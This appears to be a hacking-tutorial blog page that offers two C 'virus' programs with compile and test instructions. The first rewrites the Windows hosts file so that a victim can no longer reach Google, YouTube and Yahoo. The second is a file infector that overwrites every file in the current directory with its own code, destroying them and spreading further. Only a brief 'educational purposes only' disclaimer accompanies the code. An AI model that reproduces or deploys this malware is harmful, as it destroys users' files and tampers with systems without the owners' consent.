A Virus Program to Block Websites

                                                      
Most of us are familiar with the virus that used to block Orkut and Youtube site. If you are curious about creating such a virus on your own, here is how it can be done. As usual I’ll use my favorite programming language ‘C’ to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.

This virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install’s the operating system. This blocking is not just confined to IE or Firefox. So once blocked, the site will not appear in any of the browser program.

NOTE: You can also block a website manually. But, here I have created a virus that automates all the steps involved in blocking. The manual blocking process is described in the post How to Block a Website ?

 

Here is the sourcecode of the virus.

#include<stdio.h>
#include<dos.h>
#include<dir.h> char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}
void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}

How to Compile ?

For step-by-step compilation guide, refer my post How to compile C Programs.

Testing

1. To test, run the compiled module. It will block the sites that is listed in the source code.

2. Once you run the file block_Site.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.

3. To remove the virus type the following the Run. 

%windir%\system32\drivers\etc

 

4. There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this

127.0.0.1                                google.com

 

5. Delete all such entries which contain the names of blocked sites.

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How to Create a Computer Virus?

This program is an example of how to create a virus in C. This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file. Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on. Here’s the source code of the virus program.
 

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h> FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}

 

COMPILING METHOD:

 

USING BORLAND TC++ 3.0 (16-BIT):

1. Load the program in the compiler, press Alt-F9 to compile

2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)

3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)

4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)

5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect

 

USING BORLAND C++ 5.5 (32-BIT) :
1. Compile once,note down the generated EXE file length in bytes
2. Change the value of X in source code to this length in bytes
3. Recompile it.The new EXE file is ready to infect

 

HOW TO TEST:

 

1. Open new empty folder

2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)

3. Run the virus EXE file there you will see all the files in the current directory get infected.

4. All the infected files will be ready to reinfect

That’s it

WARNING: FOR EDUCATIONAL PURPOSES ONLY. DO NOT SPREAD OR MISUSE THIS VIRUS CODE

Visitors who read this post, also read:

1. How to Protect Your Computer from Keyloggers
2. How Antivirus Software Works
3. 10 Tips to Avoid Getting Adware

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